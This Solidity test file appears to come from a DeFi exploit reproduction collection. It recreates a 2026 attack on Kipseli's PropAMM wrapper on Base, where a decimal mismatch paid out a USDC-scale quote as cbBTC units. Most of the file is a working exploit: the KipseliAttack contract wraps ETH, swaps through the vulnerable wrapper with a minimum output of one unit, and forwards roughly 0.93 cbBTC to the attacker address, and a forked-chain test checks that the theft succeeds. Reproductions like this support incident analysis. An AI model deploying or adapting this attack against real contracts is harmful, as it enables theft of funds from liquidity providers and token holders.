src/test/2026-04/KipseliPropAMM_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 0.93 cbBTC
8// Attacker : 0x2352a1fca90182509dca9c12b2cad582a38e8b82
9// Attack Contract : 0x74513519689b1fb427747624a4dd87b3849d39cd
10// Vulnerable Contract : 0xd35c6717cca1e04696b694dcb1643ac3620d2152
11// Attack Tx : https://basescan.org/tx/0x96edeeb3d49d7a54c60d227bedce5bf64df5d52effd9fd80334175a9553db3bb
12 
13// @Info
14// Vulnerable Contract Code : https://basescan.org/address/0xd35c6717cca1e04696b694dcb1643ac3620d2152#code
15 
16// @Analysis
17// Twitter Guy : https://x.com/DefimonAlerts/status/2046873857571934254
18//
19// Kipseli's PropAMM route accepted WETH -> cbBTC and produced a USDC-scale quote. The returned integer
20// was transferred as cbBTC units, turning a roughly 92 USDC quote into about 0.926 cbBTC.
21 
22address constant ATTACKER = 0x2352a1FcA90182509dCa9c12B2CAd582a38E8b82;
23address constant PROP_AMM_WRAPPER = 0xd35C6717cCa1E04696B694DCb1643Ac3620D2152;
24address constant CBBTC_HOLDER = 0xBEE3211ab312a8D065c4FeF0247448e17A8da000;
25IWETH constant WETH_TOKEN = IWETH(payable(0x4200000000000000000000000000000000000006));
26IERC20 constant CBBTC_TOKEN = IERC20(0xcbB7C0000aB88B473b1f5aFd9ef808440eed33Bf);
27 
28interface IPropAMMWrapper {
29    function quote(
30        address tokenIn,
31        uint256 amountIn,
32        address tokenOut
33    ) external view returns (uint256 amountOut);
34    function swap(
35        address tokenIn,
36        uint256 amountIn,
37        address tokenOut,
38        uint256 minOutAmount,
39        address recipient
40    ) external returns (uint256 amountOut);
41}
42 
43contract ContractTest is BaseTestWithBalanceLog {
44    function setUp() public {
45        uint256 forkBlock = 45_008_654;
46        vm.createSelectFork("base", forkBlock);
47        vm.roll(45_008_655);
48        vm.warp(1_776_806_657);
49 
50        fundingToken = address(CBBTC_TOKEN);
51        attacker = ATTACKER;
52 
53        vm.label(ATTACKER, "Attacker / profit receiver");
54        vm.label(PROP_AMM_WRAPPER, "Kipseli PropAMMWrapper");
55        vm.label(CBBTC_HOLDER, "Kipseli cbBTC holder");
56        vm.label(address(WETH_TOKEN), "WETH");
57        vm.label(address(CBBTC_TOKEN), "cbBTC");
58    }
59 
60    function testExploit() public balanceLog {
61        uint256 amountIn = 0.04 ether;
62        uint256 minimumImpact = 90_000_000; // 0.9 cbBTC, using cbBTC's 8 decimals.
63        uint256 attackerBefore = CBBTC_TOKEN.balanceOf(ATTACKER);
64        uint256 holderBefore = CBBTC_TOKEN.balanceOf(CBBTC_HOLDER);
65 
66        KipseliAttack localAttack =
67            new KipseliAttack(PROP_AMM_WRAPPER, address(WETH_TOKEN), address(CBBTC_TOKEN), ATTACKER);
68        vm.label(address(localAttack), "Local attack contract");
69 
70        // step 1: fund the local attack contract through the historical profit receiver.
71        deal(ATTACKER, amountIn);
72        vm.prank(ATTACKER, ATTACKER);
73        (uint256 quotedAmount, uint256 receivedAmount) = localAttack.run{value: amountIn}();
74 
75        // step 2: prove the quote is USDC-scale, then prove it was received as cbBTC units.
76        assertGt(quotedAmount, minimumImpact, "quote was not in the exploitable scale");
77        assertGt(receivedAmount, minimumImpact, "attacker did not receive cbBTC-scale output");
78 
79        // step 3: preserve the observed final forwarding path from attack contract to attacker.
80        uint256 attackerGain = CBBTC_TOKEN.balanceOf(ATTACKER) - attackerBefore;
81        assertEq(attackerGain, receivedAmount, "local attack did not forward cbBTC to attacker");
82 
83        // step 4: prove impact against the same cbBTC holder that funded the receipt transfer.
84        uint256 holderLoss = holderBefore - CBBTC_TOKEN.balanceOf(CBBTC_HOLDER);
85        assertEq(holderLoss, receivedAmount, "cbBTC holder loss did not match attacker gain");
86        emit log_named_decimal_uint("cbBTC gained through decimal mismatch", attackerGain, 8);
87    }
88}
89 
90contract KipseliAttack {
91    IPropAMMWrapper private immutable wrapper;
92    IWETH private immutable weth;
93    IERC20 private immutable cbbtc;
94    address private immutable receiver;
95 
96    constructor(
97        address wrapper_,
98        address weth_,
99        address cbbtc_,
100        address receiver_
101    ) {
102        wrapper = IPropAMMWrapper(wrapper_);
103        weth = IWETH(payable(weth_));
104        cbbtc = IERC20(cbbtc_);
105        receiver = receiver_;
106    }
107 
108    function run() external payable returns (uint256 quotedAmount, uint256 receivedAmount) {
109        uint256 amountIn = msg.value;
110 
111        // step 1: mirror the historical attack contract wrapping ETH into WETH.
112        weth.deposit{value: amountIn}();
113        require(weth.approve(address(wrapper), amountIn), "approve failed");
114 
115        // step 2: use the verified wrapper ABI instead of raw attacker calldata.
116        quotedAmount = wrapper.quote(address(weth), amountIn, address(cbbtc));
117        uint256 minOutAmount = 1; // Historical tx input set the wrapper swap minimum to one token unit.
118        uint256 beforeBalance = cbbtc.balanceOf(address(this));
119        wrapper.swap(address(weth), amountIn, address(cbbtc), minOutAmount, address(this));
120        receivedAmount = cbbtc.balanceOf(address(this)) - beforeBalance;
121 
122        // step 3: forward profit to the historical tx sender / final receiver.
123        require(cbbtc.transfer(receiver, receivedAmount), "cbBTC transfer failed");
124    }
125 
126    receive() external payable {}
127}